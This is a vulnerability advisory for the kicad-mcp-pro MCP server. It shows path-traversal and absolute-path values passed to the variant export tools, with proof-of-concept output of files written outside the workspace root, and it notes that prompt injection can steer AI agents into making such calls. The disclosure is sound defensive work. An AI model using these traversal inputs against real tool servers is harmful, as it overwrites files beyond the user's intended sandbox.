KiCad MCP Pro: Variant export tools write outside KICAD_MCP_WORKSPACE_ROOT via unvalidated variant and output_name arguments
Description
The three variant export tools build their output path by joining an unvalidated tool argument onto the output directory, so the write lands wherever that argument points. KICAD_MCP_WORKSPACE_ROOT does not contain it.
Both variant and output_name work. variant has a suffix appended (_bom.csv, _gerber), while output_name has none, so with output_name the caller controls the entire final path component.
It overwrote a pre-existing file outside the workspace root, wrote to an absolute path outside it, and created directories outside it with no KiCad installed at all.
This is the same class as GHSA-h93v-ccrj-58fw, which was fixed in 4.15.1, in a module that fix did not touch. PR #1720 changed only src/kicad_mcp/project/creation.py and two test files, and added no shared guard, so the pattern survives in 4.20.0.
Affected versions
Tested on:
- Repository: github.com/
oaslananka/ kicad-mcp-pro - Commit: 70ae5a77b644f039f83e82caa6d4b6b54e54c044 (main, 2026-11-18)
- Package version:
kicad-mcp-pro4.20.0 from PyPI (latest). Everything below ran against the installed wheel; the checkout only supplied line numbers, which match. - Python version: 3.13.18
- OS: Linux (Debian, in Docker)
Impact
Anyone who can call these MCP tools can write and overwrite files outside the configured workspace root. That is the attacker model your own advisory for GHSA-h93v-ccrj-58fw describes, including an agent steered by prompt injection from a datasheet, a component description or a project file.
Attacker requirements:
- One MCP tool call with chosen arguments.
- A schematic-capable profile. The tools are not in the
defaultprofile. I enumeratedtools_for_profileat runtime: they appear inagent_full,builder,critic,expert,full,high_speed,power,schematic,schematic_authoring,schematic_onlyandsimulation. Your.env.example:48documentsKICAD_MCP_PROFILE=full, andserver.py:2388-2399materialises thefullcatalog for programmatic hosts. - An active project. No KiCad GUI, no IPC connection, no second user, and no authentication step.
What the documentation promises
docs/configuration.md:221-226, "Workspace Safety":
When
KICAD_MCP_WORKSPACE_ROOTis set, project artifact reads and writes must stay under that root.
Also docs/errors.md:34 describes UNSAFE_PATH as "A requested path escapes the workspace", docs/integration/kicad-studio.md:95 says the variable "constrains project artifact reads and writes", and the tool's own docstring at tools/variants.py:343 says the BOM goes "into the project output directory".
Reproduction
The PoC is local and non-destructive: everything is written inside a container, and /work/outside stands in for a location outside the configured root.
python -m venv .venv && .venv/bin/pip install kicad-mcp-pro==4.20.0
# /work/ws is KICAD_MCP_WORKSPACE_ROOT, /work/ws/proj is the active project
# (a copy of tests/fixtures/benchmark_projects/pass_minimal_mcu_board),
# /work/outside is outside the root
.venv/bin/python -I poc_variants.pyFirst, the controls. The documented resolver and your own pcb_export_stats both refuse the same strings:
resolve_within_project('../../../outside/control.csv') REFUSED: UnsafePathError: The requested path '/outside/control.csv' escapes workspace root '/work/ws/proj'.
resolve_within_project('/work/outside/control.csv') REFUSED: UnsafePathError: The requested path '/work/outside/control.csv' escapes workspace root '/work/ws/proj'.
ensure_output_dir('../../outside') REFUSED: UnsafePathError: Output subdirectories cannot contain parent traversal.
export_board_stats('../../../outside/stats.json') REFUSED: ValueError: Output name must be a single file name, not a path.
variant_export_bom('prod') -> /work/ws/proj/output/variants/prod_bom.csvOverwriting a file outside the root. /work/outside/victim_bom.csv contained ORIGINAL-CONTENT-DO-NOT-TOUCH before the call:
variant_create('../../../../outside/victim') -> Created design variant '../../../../outside/victim' in /work/ws/proj/demo.kicad_pro.
variant_export_bom('../../../../outside/victim') -> Variant BOM exported to /work/ws/proj/output/variants/../../../../outside/victim_bom.csv (2 populated component(s)).
--- /work/outside/victim_bom.csv now contains ---
reference,value,footprint,populated,dnp
R1,10k,Resistor_SMD:R_0805,True,False
R2,22k,Resistor_SMD:R_0805,True,False
overwritten outside the workspace root: TrueAn absolute variant name, no traversal needed:
variant_export_bom('/work/outside/abs') -> Variant BOM exported to /work/outside/abs_bom.json (2 populated component(s)).
exists: TrueDirectory creation outside the root, with no kicad-cli present at all:
variant_export_manufacturing_package('../../../../outside/mfg')
tool raised after the directory was created: FileNotFoundError: kicad-cli is not available. ...
created outside root: /work/outside/mfg_gerber TrueFor output_name I pointed KICAD_MCP_KICAD_CLI at a stub that only creates the file it is told to create with --output, since kicad-cli is not installed in the container. That part uses a simulated CLI and I am labelling it as such. What is under test is the path your code hands to --output, which is pure Python. The manifest write in the third case is your own write_text, not the stub.
variant_export_schematic(output_name='../../../../outside/pwned_by_output_name.pdf') -> exists outside root: True
variant_export_schematic(output_name='/work/outside/abs_output_name.pdf') -> exists outside root: True
variant_export_manufacturing_package(output_name='../../../../outside/pkg.json') -> exists outside root: True
state of /work/outside
/work/outside/abs_output_name.pdf (31 bytes)
/work/outside/pkg.json (257 bytes)
/work/outside/pwned_by_output_name.pdf (31 bytes)Expected safe behavior:
All of the above raise UnsafePathError, or reject the argument as not being a
single file name, exactly as the four controls do.Root cause
src/kicad_mcp/tools/variants.py, line numbers identical in the wheel and the checkout:
351: out_file = out_dir / f"{variant}_bom.{fmt}"
451: out_file = out_dir / (output_name or f"{variant}_schematic.pdf")
515: manifest_path = out_dir / (output_name or f"{variant}_manufacturing.json")
526: gerber_dir = out_dir / f"{variant}_gerber"
557: drill_dir = out_dir / f"{variant}_drill"variant reaches variant_create at :261, where the only check is :263-264, if not name.strip(). It is then stored verbatim as a JSON key and never treated as a path, so nothing rejects a traversal or an absolute path at creation time. variant_export_bom at :342 does not validate it either; format is allowlisted at :345-346, and variant is not.
output_name reaches :435 and :486 unvalidated.
The writes are _write_bom at :353 (reaching path.write_text at :218 and :228), manifest_path.write_text at :599, gerber_dir.mkdir at :527, and the --output argument passed to kicad-cli at :462 and :472.
cfg.ensure_output_dir("variants") at :350 does not help: config.py:582-596 validates the base with assert_within(self.workspace, base) and the subdir with relative_subpath(subdir), and it only ever sees the literal "variants". The attacker-controlled string is appended afterwards. Under pathlib, .. segments survive the join and an absolute path replaces the base entirely.
The check that is missing here exists elsewhere in the project. src/kicad_mcp/export/board_stats.py:49-55:
out_file = out_dir / (output_name.strip() if output_name else "board_stats.json")
if "/" in str(out_file.relative_to(out_dir)) or "\\" in str(out_file.relative_to(out_dir)):
raise ValueError("Output name must be a single file name, not a path.")tools/footprint.py:42, tools/symbol.py:82 and tools/jobset.py:79 use the other idiom, Path(...).name. tools/variants.py imports resolve_under at :14 and calls it only for the import path at :97, never for an output path.
Suggested fix
Reject variant values that are not a single path component at variant_create, and run output_name and the derived paths through get_config().resolve_within_project(...), or the Path(...).name idiom already used in footprint.py, symbol.py and jobset.py, in all three export tools before any write_text, mkdir, or --output.
Not claimed
- Windows drive and UNC forms.
reject_foreign_windows_path(path_safety.py:84-94) is never called on these arguments, but I had no Windows host, so I am not claiming it. - Any confidentiality impact.
Disclosure
This report was prepared with AI assistance; every result above comes from a run the reporter executed against the 4.20.0 wheel, and the one simulated component (the kicad-cli stub) is labelled where it appears.